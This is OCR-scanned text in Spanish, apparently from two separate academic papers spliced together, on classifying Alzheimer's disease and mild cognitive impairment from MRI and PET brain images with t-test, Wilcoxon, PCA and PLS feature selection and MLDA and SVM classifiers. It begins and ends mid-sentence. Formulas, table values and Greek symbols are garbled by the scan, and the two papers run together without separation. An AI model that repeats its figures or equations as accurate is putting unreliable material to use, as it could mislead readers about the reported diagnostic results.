5,104). Sin embargo, para PET (Fig.6) se obtienen regiones
diferentes con respecto a imagenes estructurales (como
materia gris), destacado la regién angular derecha (t=7,905),

angular izquierda (t=-7,175), cingulado posterior izquierdo
(t=-6,233) o precuneo derecho (t=-5,697).

Con el fin de mejorar los resultados obtenidos para a=0,01,
se propone variar el valor del umbral de decision (por
defecto cero) en el entrenamiento de los clasificadores. En la
Fig.7 se muestra las curvas ROC de sistema, trabajando con
todas las modalidades y variando el valor de a. Analizando
dichas curvas, se obtiene un punto de corte (umbral de
decision= -1E-2) en la curva de o=0,1 que mas se aproxima
a la esquina superior izquierda de la gréfica (rendimiento

optimo), pasando a obtener valores de sensibilidad,
especificidad y precision de 85,71%, 89,71% y 87,68%
respectivamente.
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Fig. 4. : Mapa de regiones para los distintos valoresde t, trabajando con
materia gris (plano coronal).
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Fig. 5.: Mapa de regiones para los distintos valores de t , trabajando con
materia blanca (plano coronal).
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Fig. 6.: Mapa de regiones para los distintos valores de t , trabajando con
PET (plano coronal).
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Fig. 7. : Curvas ROC de todas las modalidades, MRI+PET, para varios
valores de o, usando s6lo la media.

B. Trabajando con la desviacion estdndar como
caracteristica.

Tomando la desviacion estandar de los véxels de cada region
como tipo de caracteristica se obtienen resultados, tanto de
rendimiento como en el t-test, que difieren en gran medida a
los obtenidos mediante la media. En primer lugar, se refleja
una mejora sustancial y significativa del rendimiento del
multiclasificador, llegando incluso a wvalores (0=0.3) de
90,00 %, 89,71 % y 89,86 % de sensibilidad, especificidad y
precision respectivamente, donde el clasificador mejora en el
diagnéstico de pacientes enfermos (sensibilidad) a costa de
aumentar  drasticamente el numero de regiones
seleccionadas.

En este caso se aprecia una gran diferencia en los resultados
del test. Es el caso, por ejemplo, de la materia gris, donde
ahora regiones como el hipocampo derecho (t=-6,317) no
destacan como las regiones més discriminatorias, mientras
que regiones como temporal inferior derecho (t=-9,504)
mantienen su relevancia. En el caso de materia blanca, dicho
tipo de medida no contribuye a mejorar las prestaciones:
hipocampo derecho (t=-4,02), hipocampo izquierdo (t=-
4,528). En PET, algunas regiones como cingulado posterior
izquierdo (t=-9,844) aumentan su poder discriminatorio,
mientras que otras como angular izquierda (t=-6,487)
disminuyen levemente su valor.

C. Trabajandocon la media y desviacidn estandar como
caracteristica.

Utilizando la informacion de ambas caracteristicas, se
obtienen resultados realmente positivos ya que permite
reducir el nimero de regiones usando a=0,05y consiguiendo
mantener los resultados, hasta ahora, O6ptimos de
sensibilidad, especificidad y precision. Sin embargo, dichos
resultados se obtienen trabajando con el umbral por defecto
en el clasificador. En la Fig.8 se muestran ahora las distintas
curvas ROC para diferentes umbrales y valores de a,
obteniéndose incluso valores de 88,57%, 94,12% y 91,30%
de sensibilidad, especificidad y precision para 0=0,05 y un
umbral de decision de 4E-3.
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Fig. 8. : Curvas ROC de todas las modalidades, MRI+PET, para varios
valores de a, usando la media y la desviacion estandar.

D. Variaciondel método estadistico.

Los resultados obtenidos anteriormente corresponden al uso
del método t-test para la seleccion de caracteristicas. Sin
embargo, esconveniente comparar los resultados con otros
tipos de métodos como entropia, chernoff, ROC o wilcoxon,
con el objetivo de optimizar los resultados. En la Fig.9 se

Curva ROC con otros métodos de prueba

5w

YRR (Sensitivin)

apm

Fig. 9. : Curvas ROC de todas las modalidades, MRI+PET seleccionando
110 caracteristicas, para distintos tipos de prueba.

pueden ver los distintos resultados para cada método. Tan
s6lo trabajando con el método wilcoxon se obtienen
resultados de rendimiento cercanos a los obtenidos con t-test,
siendo necesario escoger hasta 110 caracteristicas. Asi, para
el umbral 1E-3 se obtienen valores de 91,43%, 91,18% y
91,30% de sensibilidad, especificidad y precisién, haciendo
que dicho método mejore la sensibilidad, empeore la
especificidad y mantenga constante la precisién a costa de
utilizar un namero de regiones altamente elevado.

E. Clasificacionde pacientescon deterioro cognitivo leve
(MCI).

Por Gltimo, se propone evaluar las prestaciones del sistema
con ambas configuraciones (t-testy wilcoxon) al tratar de
clasificar un sujeto en dos nuevos grupos:sujetos normales o
de control (NC) y sujetos con deterioro cognitivo leve (MCI).
En la Fig.10 se muestra las curvas ROC del sistema,
trabajando con una y otra configuracién. Es inmediato
concluir que se obtienen mejores resultados trabajando con el
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método t-test (a=0,05), obteniendo resultados &ptimos
mediante el punto de corte mds cercano a la esquina
superior izquierda (umbral 1E-3) y arrojando resultados de
64,86%, 89,71% y 74,30% de sensibilidad, especificidad y
precision respectivamente.

Curva ROC de los dos métodos de prueba, para los grupos MCl vs NOR

PR (L Specifciy]

Fig. 10. : Curvas ROC de los dos métodos de prueba, paralos grupos MCl y
NOR.

V. CONCLUSIONES Y TRABAJOS FUTUROS.

En primer lugar, se ha experimentado la gran influencia
que adquiere el tipo de caracteristica extraidas de las
distintas regiones: media y desviacién estandar. El trabajar
con la informacién que proporcionan ambas a nivel de
discriminaciéon entre regiones es de vital importancia y se
han obtenido resultados realmente positivos a la hora de
combinarlas. Las regiones obtenidas como altamente
discriminatorias coinciden, en gran parte, con las regiones
més afectadas que sefialan las distintas fuentes médicas [5] y
diversos estudios en la misma linea[6].

La materia blanca ha destacado como la modalidad
menos recomendable a la hora de detectar regiones
afectadas, debido a su naturaleza estructural, mientras que la
materia gris 0 PET son totalmente influyentes en la decision,
obteniéndose regiones diferentes pero complementarias y se
corrobora la importancia de trabajar tanto con imagenes
estructurales o anatdmicas como funcionales.

Se ha demostrado que el aumento del nimero de
caracteristicas o regiones seleccionadas, al menos en el
método t-test, no se ha traducido necesariamente en un
aumento de las prestaciones del sistema, haciendo incluso
aumentar el rendimiento disminuyendo el nivel de
significacion a.

Aparte de seleccionar un nlUmero de caracteristicas
adecuado para el entrenamiento del clasificador, se ha hecho
notar la relevancia de estudiar la posicion del umbral de
decisién, pudiendo mejorar, en todos los casos, los valores
de rendimiento que el algoritmo MLDA proporciona
mediante el umbral por defecto. Por tanto, se ha obtenido dos
configuraciones 6ptimas para este sistema: método t-test,
=005 y umbral 4E-3 y método wilcoxon, 110
caracteristicas y umbral 1E-3. Los mejores valores, por
tanto, de rendimiento obtenidos para la clasificacion de NC
vs AD han sido: 88,57%, 94,12% vy 91,30% de sensibilidad,

especificidad y precisién respectivamente para el primer
caso, y 9143%, 91,18% y 91,30% de sensibilidad,
especificidad y precision respectivamente para el segundo
caso.

Por Gltimo se ha estudiado el comportamiento de ambas
configuraciones para la clasificacién de NC vs MCI,
destacando la primera configuracion y obteniéndose valores
de 64,86%, 89,71 % y74,30% sensibilidad, especificidad y
precisién respectivamente. Se ha apreciado una disminucion
drastica de la sensibilidad para estos grupos, haciéndose
patente la dificultad que supone encontrar regiones
suficientemente diferenciables que garanticen un diagndéstico
fiable de pacientes en etapas precoces de la enfermedad, por
lo que todavia queda un gran margen de mejora para estos
€asos.

En cuanto a trabajos futuros, se propone modificar la
metodologia de entrenamiento y clasificacion, recurriendo a
otros algoritmos mas sofisticados o de distinta naturaleza que
MLDA, garantizando mayor rapidez y resultados mejores
para los grupos NC vs MCI. Otras medidas para aumentar
las prestaciones y obtener resultados mas fiables y precisos
podrian ser trabajar con un ndimero mas elevado de sujetos
de entrenamiento y regiones en el atlas. Por Gltimo, se
propone incluir mas pruebas diagnésticas en el sistema como
pueden ser ALFF (amplitudes de fluctuaciones de baja
frecuencia), ReHo (homogeneidad regional), RFCS (fuerza
de conectividad funcional regional) o fMRI (resonancia
magnética funcional).
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Resumen— La enfermedad de Alzheimer (AD) es una
enfermedad neurodegenerativa de curso progresivo que
constituye la causa mas frecuente de demencia. El presente
estudio fija como objetivo predecir si un paciente con deterioro
cognitivo leve, fase prodromica de le enfermedad, va a
evolucionar a ésta en un plazo de seis meses. Se disefian varias
metodologias de operacion con el fin de determinar las
herramientas y técnicas mas adecuadas para este tipo de
estudios, utilizando iméagenes de resonancia magnética. Se
determina el tejido del cerebro més revelador de la enfermedad,
los mejores métodos de extraccion y seleccion de caracteristicas
de los pacientes que maximizan el rendimiento en la
clasificacion. Por ultimo, a nivel clinico, también se obtiene la
relacion de regiones del cerebro mas alteradas en el progreso de
la enfermedad.

Palabras clave— caracteristicas, clasificacion, conversion a
AD, deterioro cognitivo leve, iméagenes de resonancia magnética.

I. INTRODUCCION

Hoy en dia, la enfermedad de Alzheimer (AD) afecta a

mas de 30 millones de personas en todo el mundo. Es
una enfermedad neurodegenerativa de curso progresivo que
constituye la causa méas frecuente de demencia entre las
personas mayores. Los sintomas principales son: déficit de
funciones cognitivas, trastornos psiquiatricos y dificultades
para realizar las actividades de la vida diaria. Aunque el
desarrollo de la enfermedad es particular para cada persona,
hay muchos sintomas comunes como los cambios
estructurales en el cerebro. Sin embargo, el diagndstico de
AD se realiza en realidad cuando los sintomas cognitivos
estan ya presentes. Macroscopicamente, en el cerebro hay
disminucion del peso y volumen, es decir, se produce una
atrofia de los tejidos que lo componen. Todas estas lesiones
presentan una distribucién selectiva con un patrén de
progresion especifico. [1]

El Deterioro cognitivo leve (MCI) es una fase prodromica
de la AD, y los estudios existentes han sugerido que las
personas con deterioro cognitivo leve tienden a progresar a
AD a una tasa de aproximadamente 10% a 15% por afio.
Hasta el momento no hay una cura conocida para la AD, por
lo tanto, el diagnostico preciso, especialmente del MCI, es de
gran importancia para la terapia oportuna y posible retraso de
la enfermedad.

Las Imagenes de Resonancia Magnética (MRI) se han

establecido como una herramienta muy valiosa en el
diagndstico e investigacion de muchas areas de la medicina,
gracias a su gran capacidad de proveer excelente
caracterizacion y diferenciacion de los tejidos blandos. Las
MRI son muy Utiles para revelar los patrones comunes en AD
y en pacientes sanos con el fin de diagnosticar la AD incluso
antes de la manifestacion de cualquier sintoma cognitivo en
la persona.

Generalmente, hay dos tipos de cambios clinicos para

sujetos MCI en futuros puntos en el tiempo. En primer lugar,
algunos sujetos MCI convertirdn a AD después de algun
tiempo (MCI converters o0 MCI-C), mientras que otros nunca
se convertirin (MCI non-converters o MCI-NC). Es
importante predecir si un determinado sujeto MCI se
convertird en AD en futuros puntos de tiempo o no. Esta es
una prediccién cualitativa, que puede ser resuelta a través de
la clasificacion entre MCI-C y MCI-NC. En segundo lugar, al
ser AD una enfermedad neurodegenerativa progresiva,
existen cambios continuos entre las puntuaciones clinicas
medidas, por ejemplo, el Mini examen del estado mental
(MMSE) y la Subescala cognitiva de evaluacion de la
enfermedad de Alzheimer (ADAS-Cog), en seguimiento a los
puntos en el tiempo. [2]
La base primordial de este estudio va a ser el de intentar
predecir si un paciente MCI va a evolucionar a AD (MCI
converter) o, por el contrario, no va a convertir a AD a corto
plazo (MCI non-converter). Ademas de intentar conseguir
buenos resultados en cuanto a eficiencia de prediccion, se va
a pretender determinar qué parametros y técnicas de los que
se va a hacer uso para su implementacion van a ser mas
relevantes.

Il. METODOS

La base de datos utilizada para realizar el estudio es
facilitada por la Iniciativa de Neuroimagen de la Enfermedad
de Alzheimer o ADNI (Alzheimer’s Disease Neuroimaging
Initiative), que desde 2005 ha estado validando el uso de
biomarcadores, incluyendo analisis de sangre, pruebas de
liquido cefalorraquideo, imagenes PET y MRI, ensayos
clinicos y diagnosticos. Los participantes se comprometen a
varios afios de estudio que esta proporcionando el camino y
la prevencidn de la AD. Actualmente ADNI esta reclutando a
participantes que han sido diagnosticados de Alzheimer leve
a moderado. [3]
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TABLA |
INFORMACION DE LOS SUJETOS MCI

MCI-C (n=67) MCI-NC (n=61)
Varén/Mujer 40/27 47/14
Edad 74,46 74,74
MMSE (base) 26,52 27,61
MMSE (24 meses) 23,31 27,56
ADAS-Cog (base) 20,69 16,32
ADAS-Cog (24 meses) 25,92 17,19

A. Sujetos

Los sujetos con los que se trabaja son con los MCI
(converter y non-converter) por la razon anteriormente
expuesta, se desea conocer a donde conduce la evolucion de
su enfermedad. Este tipo de pacientes con analizados cada
seis meses en un periodo de dos afios, y para cada punto en el
tiempo se dispone de MRI y los resultados de las pruebas
MMSE y ADAS-Cog.

La Tabla | muestra las medias de los datos de este tipo de
pacientes. Tienen edades comprendidas entre 55 y 86 afios, y
predominan los varones sobre las mujeres, 87 a 41. No se ha
hecho distincion de edad ni sexo en cuanto a pruebas y
resultados a lo largo del estudio. Las puntuaciones MMSE de
ellos estan distribuidas entre 24 y 30. Y las puntuaciones del
ADAS-Cog se sitian entre 3 y 48. Para MMSE una baja
puntuacién denota una mala funcion cognitiva, justo al
contrario que para ADAS-Cog. También es apreciable la
diferencia de valor de la media de estos test al principio y a
los 24 meses del inicio del andlisis.

Adicionalmente se dispone del punto en el tiempo de
andlisis en el cual los pacientes MCI convirtieron a AD. Es
decir, pasaron de ser MCI non-converter a MCI converter.
No es facilitado directamente por ADNI, sino que se obtiene
utilizando un algoritmo complejo que se resume en
comprobar, como se ha dicho, cuando un MCI-NC se
transforma en MCI-C. Este dato es de vital importancia
durante el desarrollo de este estudio pues supone conocer el
estado cerebral y las caracteristicas de un paciente en el punto
aproximado en el tiempo en el que pasa a ser AD.

B. Imé&genes por resonancia magnética

Un estudio por imagenes de resonancia magnética, MRI
(Magnetic Resonance Imaging) es una técnica no invasiva
que utiliza el fenémeno de la resonancia magnética nuclear
para obtener informacién sobre la estructura y compaosicién
del cuerpo a analizar. Una resonancia magnética de la
cabeza proporciona imagenes detalladas de los tejidos del
cerebro y los nervios, pudiendo mostrar varias capas del
tejido. Una MRI no es més que una imagen tridimensional
compuesta por voxeles, siendo un voxel el equivalente al
pixel en un objeto en 3D. [4]

La escala de grises permite identificar la cabeza y el
cerebro, asi como los distintos tejidos que componen este
altimo. Principalmente, se distingue:

+ Materia gris o GM (Grey Matter): corresponde a
aquellas zonas del sistema nervioso central de color grisaceo
integradas principalmente por somas neuronales y dendritas
carentes de mielina junto con células gliales. En el cerebro se
dispone en su superficie formando la corteza cerebral, que
corresponde a la organizacion mas compleja de todo el
sistema nervioso. Se asocia con la funcion del procesamiento

de informacién, es decir, a la funcion del razonamiento.

+ Materia blanca 0 WM (White Matter): es una parte del
sistema nervioso central compuesta de fibras nerviosas
mielinizadas. Las fibras nerviosas contienen sobre todo
muchos axones. La materia blanca, que por largo tiempo se
pensd que era un tejido pasivo, afecta activamente cdmo
aprende y funciona el cerebro. Modula la distribucién de los
potenciales de acci6n, actuando como un retransmisor y
coordinando la comunicacion entre las diferentes regiones del
cerebro. [5]

Debido a la no uniformidad del campo magnético, se
precisa de una correccion antes de poder trabajar con las
MRI, es decir, adecuarlas para su manipulacion. Las
imagenes de ADNI no estan alineadas entre si. Se antoja
dificil trabajar con ellas cuando un punto del cerebro de una
imagen no coincide con el mismo punto en otra imagen y, por
lo tanto, imposibilita compararlas. Tampoco se puede
estudiar la materia gris y blanca del cerebro de manera
independiente debido a la dificultad de establecer el limite de
cada una de ellas de manera exacta, Unicamente de manera
visual y aproximada. Por todo ello, es de vital importancia
realizar un preprocesado de las MRI. Se utiliza la llamada
Morfometria Basada en Voxel o VBM (Voxel-Based
Morphometry). Es una técnica de andlisis en neuroimagen
que permite la investigacion de diferencias focales en la
anatomia del cerebro, usando una aproximacién estadistica
paramétrica. [6][7]

FIGURA1
PREPROCESADO LONGITUDINAL DE VBM PARA LAS MRI
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La Fig. 1 muestra el diagrama del preprocesado. Después
de un alineamiento inicial, la media de estas imagenes
alineadas es calculada y usada como plantilla para siguientes
alineamientos. Entiéndase alineamiento como normalizacion.
Ademas, la imagen media anterior, se usa para corregir las
no homogeneidades de las imagenes en los siguientes pasos.
Tras la segmentacion, se utilizan las plantillas de cada tejido
para normalizar las segmentaciones resultantes, usando
mapas de probabilidad de cada tejido. Por ultimo, se alinean
de nuevo. El resultado final es el de disponer de las
segmentaciones de GM y WM de cada paciente para cada
punto en el tiempo. [8]

C. Seleccioén de caracteristicas

Tras elegir todo el conjunto de caracteristicas de las que se
hace uso de los datos de los pacientes, es necesario hacer una
seleccion de las mas relevantes con objeto de reducir su
nimero. Esto no sdlo disminuye la complejidad
computacional, sino que, a priori, mejorara los resultados de
clasificacion. Se utilizan tres técnicas distintas:
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*Prueba t de student (t-test): se refiere a la distribucion de
frecuencia de las desviaciones estandar de muestras extraidas
de una poblacién normal. Es una familia de distribuciones de
probabilidad continua que surgen al calcular la media de una
poblacion distribuida normalmente en situaciones en las que
el tamarfio de la muestra es pequefio y la desviacion estandar
de la poblacién es desconocida. [9] El valor de t mide el
grado de relacion entre dos conjuntos de valores, en este caso
una caracteristica comun de todos los pacientes en relacién a
sus etiquetas (MCI-C y MCI-NC). Este valor t se obtiene:

X1—X> (1)

Sx1Xy" n—1+z

donde Sy x, es la desviacion estandar combinada, 1=grupo
uno, 2=grupo 2; X, y X, las medias de cada grupo; y n, y n,
el tamafio de cada muestra. [10]

*Andlisis de  componentes  principales  (Principal
Component Analysis, PCA) es una técnica de las estadisticas
para la simplificacion de un conjunto de datos. Es una forma
de aprendizaje no supervisado que se basa enteramente en la
misma base de datos de entrada sin hacer referencia a los
datos de destino correspondientes (el criterio para ser
maximizada es la varianza). Es una técnica estadistica de
sintesis de la informacion, o reduccion de la dimension
(nimero de variables). Es decir, ante un banco de datos con
muchas variables, el objetivo serd reducirlas a un menor
ntmero perdiendo la menor cantidad de informacion posible.
Para estudiar las relaciones que se presentan entre p variables
correlacionadas (que miden informacion comun) se puede
transformar el conjunto original de variables en otro conjunto
de nuevas variables incorreladas entre si (que no tenga
repeticién o redundancia en la informacion) llamado conjunto
de componentes principales. [11][12] Sean X=[Xy,......xp] un
cojunto de caracteristicas, los componentes principales de X
son las nuevas variables

Y, Xt, j L.,p @)

Estos componentes principales seran utilizados como
caracteristicas del sistema, ya que estos contienen gran parte
de la informacion de las variables que representa. [13]

*Regresion de minimos cuadrados parciales (Partial Least
Squares, PLS) combina caracteristicas y generalizaciones de
PCA vy regresion lineal multiple. Su objetivo es analizar o
predecir un conjunto de variables dependientes a partir de un
conjunto de variables independientes o predictores. Esta
prediccion se logra extrayendo de los predictores un conjunto
de factores ortogonales Ilamados variables latentes que tienen
el mejor poder predictivo. [14] Se transforman las variables
observadas, X, en un conjunto intermedio de variables
latentes (scores) y esas nuevas variables son usadas para la
regresion con una variable dependiente, Y. El objetivo de la
regresion PLS es predecir Y a partir de X y describir su
estructura comun. El criterio para el célculo de los vectores
latentes mas usado en PLS es el de maxima covarianza entre
scores e Y (o entre scores en X y scores en Y). Se pretende
encontrar una relacion lineal entre las variables de X e Y
usando una matriz de coeficientes B y una matriz de errores
E.

Y XB+E ©)
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Al igual que en PCA, estos coeficientes seran utilizados
como caracteristicas del sistema. [15]

D. Clasificacion

Un método de clasificacion es un algoritmo que agrupa (o
discrimina) objetos, descritos mediante un vector de
caracteristicas, asignandolos a clases previamente definidas.
El conjunto de datos experimentales 0 muestras en el proceso
de clasificacion estara formado por un conjunto de vectores
de caracteristicas x;€R™ , i=1,...,n, siendo m la dimension del
espacio de caracteristicas H . Este conjunto de vectores de
caracteristicas se dividird en dos subconjuntos: datos de
entrenamiento y datos de test. [16]

Particularmente en este estudio se hace uso de Las
Maquinas de Vectores de Soporte (Support Vector Machines,
SVM). Es una red estatica basada en kernels que realiza
clasificacion lineal sobre vectores transformados a un espacio
de dimensidn superior, es decir, separa mediante un
hiperplano en el espacio transformado. Operaciones de una
SVM:

-Transforma los datos a un espacio de dimensién muy alta a
través de una funcién kernel. Se reformula el problema de tal
forma que los datos se mapean implicitamente en este
espacio.

-Encuentra el hiperplano que maximiza el “margen” entre
dos clases. Calculo eficiente del hiperplano 6ptimo.

-Si los datos no son linealmente separables encuentra el
hiperplano que maximiza el margen y minimiza una funcion
del namero de clasificaciones incorrectas (término de
penalizacion de la funcion). [17]

Los clasificadores lineales definen hipersuperficies o
hiperplanos de decisién en espacios multidimensionales, esto
es:

gx) w@+w, 0 (4)

donde w se conoce como vector de pesos y wg como el
umbral. De esta manera si g(x)>1 pertenece a una clase, y si
g(x)<1, pertenece a la otra. [18]

[1l. DESCRIPCION DEL SISTEMA

Se implementan tres sistemas diferentes haciendo uso de
las distintas técnicas de extraccion y seleccion de
caracteristicas, aunque todos ellos persiguen el mismo
objetivo. En cada sistema, ademas, se utilizan cuatro
modelos distintos, en los que cambia las caracteristicas
utilizadas, el nimero de sesiones utilizadas como fuente de
extraccion de caracteristicas y el tejido del cerebro utilizado
para extraer éstas (véase Tabla Il).

TABLA Il
DISTINTOS MODELOS EN CADA SISTEMA

(A1)
MRI
(A2)
MRI + MMSE + ADAS-Cog
(B1)
MRI
(B2)
MRI + MMSE + ADAS-Cog

1 sesion
GM
WM
GMy WM

2 sesiones
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FIGURA 2
DIAGRAMA GENERAL DE LOS SISTEMAS IMPLEMENTADOS
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Los modelos Al y A2 utilizan una sesion como fuente de
extraccién de caracteristicas, mientras que los modelos B1 y
B2 utilizan dos. En los modelos A2 y B2 se afiaden los
resultados de las pruebas cognitivas MMSE y ADAS-Cog a
las caracteristicas extraidas de las MRI.

La Fig. 2 muestra el diagrama general de los tres sistemas
implementados. Se realiza un proceso de extraccion de
caracteristicas de las segmentaciones de GM y WM de las
MRI de los pacientes, seguido de una seleccion. Finalmente,
se utiliza la técnica de validacion cruzada leave-one-out para
medir el rendimiento del clasificador, obteniéndose los
valores de precisién (tasa de clasificaciones correctas de
todos los pacientes), sensibilidad (tasa de clasificaciones
correctas de los pacientes MCI-C) y especificidad (tasa de
clasificaciones correctas de los MCI-NC).

El razonamiento puesto en préactica para la prediccion es
comun para todos los sistemas implementados y es una de
las claves de este estudio. Si el fin es determinar la
conversion o no de un paciente MCI en el siguiente punto de
andlisis en el tiempo, es 16gico pensar que dicho paciente en
la sesion anterior a la conversion a AD podria ser clasificado
como MCI non-converter. Disponer de la sesién de
conversion a AD de los pacientes MCI-C permite suponer
gue en las sesiones anteriores a la conversion el paciente era
clasificado como MCI y que sus caracteristicas cerebrales
eran préximas a un paciente con Alzheimer pero sin llegar a
padecerlo aun. Es por ello que se tomaran como
caracteristicas del sistema las pertenecientes a las sesiones
anteriores a la conversiéon a AD para los pacientes MCI-C.
Para los pacientes MCI-NC (sujetos que no convierten a AD)
se tomaran las caracteristicas pertenecientes a las primeras
sesiones, suponiendo que el estado de estos sujetos no varia
mucho a lo largo de los anélisis pues son clasificados como
estables. El resultado de la clasificacién de un paciente se
interpreta, por tanto, que el paciente en cuestion
evolucionard a AD en la siguiente sesion de analisis si el
resultado es 1, o no evolucionara y se mantendra estable si el
resultado es -1.

A. Sistema basado en atlas

El sistema es llamado asi debido a que en la etapa de
extraccion de caracteristicas se utiliza un atlas del cerebro
para extraer éstas por regiones de interés (Region Of Interest,
ROI). Se obtienen las medias y las desviaciones estandar de
cada ROI del cerebro para las materias gris y blanca. Para
ello se parte de que cada ROI en el atlas tiene una misma
intensidad, de 1 a 116, habiendo 116 regiones en total.

1

. _ a;+az+--+a
Media=x — r,q —2—=2 (5)

n

N . _ 1 _
Desviacion estandar = s \/;Z?ﬂ(ai —X)? (6)

donde n es el nimero de sumandos, en este caso voxeles de
cada region, y a; es la intensidad de cada uno de ellos.

En cuanto al método de seleccién de caracteristicas, se utiliza
un t-test, por lo tanto, se ordenan las caracteristicas en orden
creciente del valor t para establecer el orden de importancia
de estas en la clasificacién. En la clasificacion se itera de 1 a
150 utilizadas para ver el comportamiento del rendimiento en
base a este nUmero.

B. Sistema basado en voxel (PCA)

Este sistema, a diferencia del anterior trabaja a nivel de
voxel, esto es, la extraccion de caracteristicas se realiza
mediante la obtencidn de las intensidades de los voxeles de
las MRI. Esto supone un considerable aumento de la cantidad
de datos que maneja el sistema y con ello una mayor
complejidad computacional. Por este motivo, y por los
buenos resultados obtenidos en el primer sistema mediante el
uso exclusivo de la GM de las MRI, se opta por suprimir la
WM en este sistema.

Es necesario aplicar una plantilla para suprimir los voxeles
con intensidad cero que no pertenecen a la materia gris del
cerebro en cada MRI, previamente a la extraccion de
caracteristicas. Al aumentar la cantidad de datos manejados,
se aplican dos técnicas de seleccion en este sistema. La
primera de ellas es un t-test que ordene las caracteristicas. Y
en segundo lugar se aplica PCA para reducir un gran nimero
de caracteristicas en unos pocos componentes. ElI nimero de
caracteristicas que recibe PCA como parametro tras el t-test
es un nuevo parametro del sistema y que hace variar el
rendimiento. En la clasificacion se itera esta vez de 1 a 50
caracteristicas utilizadas.

C. Sistema basado en voxel (PLS)

Este sistema, es idéntico al anterior, con la Unica diferencia
de que el segundo método utilizado para la seleccion es PLS
en lugar de PCA. También se itera de 1 a 50 caracteristicas.

IV. RESULTADOS

La Tabla Il muestra los mejores resultados tras la
implementacion y ejecucion de los tres sistemas descritos.
Antes de analizarlos, cabe indicar que los dos sistemas
basados en voxel son muy sensibles a modificacion de
parametros en el clasificador para obtener resultados
eficientes. Sin embargo, para el primer sistema los resultados
obtenidos no difieren de manera significativa con los que
podrian obtenerse al variar estos parametros. Los resultados
alcanzables son calculados mediante la representacion de las
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TABLA I
MEJORES RESULTADOS PARA LOS TRES SISTEMAS

Sistema basado en atlas

Sistema basado en voxel (PCA)

Sistema basado en voxel (PLS)

GM WM GM+WM 10.000 20.000 50.000 10.000 20.000 50.000
Al
N° caracteristicas 131 19 12 40 1 20 5 1 9
Precision (%) 67,57 64,86 65,76 72,04 67,63 73,12 71,34 68,35 67,68
Sensibilidad (%) 66 64 70 67,21 62,30 62,30 75,41 59,02 77,05
Especificidad (%) 68,85 65,57 62,29 76 72 82 68 76 60
A2
N° caracteristicas 5 16 5 50 30 19 1 1 1
Precision (%) 72,07 68,47 72,07 76,11 74,96 70,24 72,07 68,47 72,07
Sensibilidad (%) 68 66 68 78,69 63,93 75,41 68 66 68
Especificidad (%) 75,41 70,49 75,41 74 84 66 75,41 70,49 75,41
B1
N° caracteristicas 74 105 22 50 20 16 35 5 3
Precision (%) 78,43 72,55 69,60 74,35 73,03 75,53 65,18 68,90 70,78
Sensibilidad (%) 73,17 65,85 68,29 68,85 65,57 75,41 78,69 77,05 67,21
Especificidad (%) 81,96 77,05 70,49 78,05 78,05 75,61 56,10 63,41 73,17
B2
N° caracteristicas 140 21 118 16 15 15 1 3 3
Precision (%) 81,37 79,41 79,41 76,71 75,39 78,68 68,90 68,24 71,72
Sensibilidad (%) 78,05 75,61 75,61 81,97 78,69 86,89 77,05 75,41 62,30
Especificidad (%) 83,61 81,97 81,97 73,17 73,17 73,17 63,41 63,41 78,05

curvas ROC de las clasificaciones. Con todo ello la tabla
muestra los resultados obtenidos para el primer sistema, y los
resultados alcanzables para los dos sistemas siguientes.

A vista general de los resultados, hay dos comportamientos
comunes para todos los sistemas. El uso de dos sesiones
como fuente de extraccibn de caracteristicas mejora
notablemente la precision de la clasificacion. Hecho que
también sucede al incluir los resultados de las pruebas
MMSE y ADAS-Cog a las caracteristicas extraidas de las
MRI de los pacientes en los modelos A2 y B2. Por lo tanto,
para el modelo B2 es para el que se maximiza el rendimiento.

Para el primer sistema es destacable el uso de la GM del
cerebro. Es con el uso de este tejido con el que mejores
resultados se obtienen (81,37 de precision). Con el uso de la
WM no s6lo se obtienen resultados de precision mas bajos
que con la GM, sino que la adicién de caracteristicas de esta
materia a la GM provoca una disminucion de los resultados
obtenidos con la GM de forma independiente. Esto se aprecia
en los modelos Al y B1 (sin la inclusién de las pruebas
cognitivas). Respecto al nimero de caracteristicas utilizado
en la clasificacién, los resultados tienden a estabilizarse y
maximizarse para un numero elevado, presentando
oscilaciones cuando este nimero es reducido.

Para los sistemas basados en voxel se muestran los
resultados en funcion de la variable que es el nimero de
voxeles utilizados en PCA y PLS, respectivamente. Se
comprueba que las precisiones mas elevadas se obtienen para
el mayor ntimero utilizado, 50.000. Estos dos sistemas, dado
el uso de los componentes de PCA y PLS como
caracteristicas, el nimero de caracteristicas para el cual se
obtienen los méaximos del rendimiento se ve ampliamente
reducido, notandose més en el uso de PLS. Con PLS, ademas,
se obtienen resultados muy estables al variar el nimero de
caracteristicas en la clasificacion. Sin embargo, se obtienen
valores de precision un escalén por debajo de los otros dos
sistemas, siendo el maximo de 71,72%.
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De manera mas visual, la Fig. 3 muestra los mejores
resultados totales obtenidos para cada sistema. El sistema
basado en atlas es el que ha obtenido el valor de pico de
todos los rendimientos obtenidos con un 81,37 de precision,
78,05 de sensibilidad y 83,61 de especificidad para el uso de
materia gris. Con el sistema PCA se consigui6 80,39 de
precision, 68,29 de sensibilidad y 88,52 de especificidad. Por
altimo, con el sistema PLS, 72,07 de precision, 64 de
sensibilidad y 78,69 de especificidad.

FIGURA3
COMPARATIVA DE LOS MEJORES RESULTADOS
100 :
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Es de gran interés comprobar el nivel de este estudio. Para
ello se van a mostrar resultados de otras investigaciones que
han perseguido el mismo objetivo que este proyecto, con el
fin de poder compararlos y sacar conclusiones positivas o
negativas. Comparando los resultados de este estudio con los
de la Tabla IV se comprueba que los resultados aqui
obtenidos con ligeramente superiores a los de otras
investigaciones, siendo el mayor valor de precision
encontrado de 79,7% (Xiaofeng Zhu y otros [19]). Sin
embargo
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TABLA IV
MEJORES RESULTADOS OBTENIDOS EN INVESTIGACIONES SIMILARES

Precision  Sensibilidad  Especificidad .
%) (%) %) Referencia
Daogiang Zhang,
8.4 & 8 Dinggang Shen [2]
76,92 74,29 78,13 Siqi Liu, Sidong Liu [20]
79,7 95 56,1 Xiaofeng Zhu y otros [19]
714 69.2 737 Kenichi Ota, Naoya Oishi
y otros [21]
- 70 61 Rémi Cuingnet y otros [22]

el que mejores resultados ofrece al ser mas equilibrados sus
valores de rendimiento es el de 78,4 de precision, 79 de
sensibilidad y 78 de especificidad (Daogiang Zhang,
Dinggang Shen [2]).

En cuanto a las regiones mas alteradas tras el progreso de
la enfermedad de Alzheimer, se van a mostrar aquellas cuyas
caracteristicas se han utilizado en mayor medida, y para el
mejor valor de precisién obtenido. Estas son giro temporal
medio izq., corteza olfativa dcha., giro parahipocampal izq.,
giro temporal medio dcho., giro temporal inferior dcho., giro
occipital medio dcho., hipocampo izdo., cineo dcho., giro
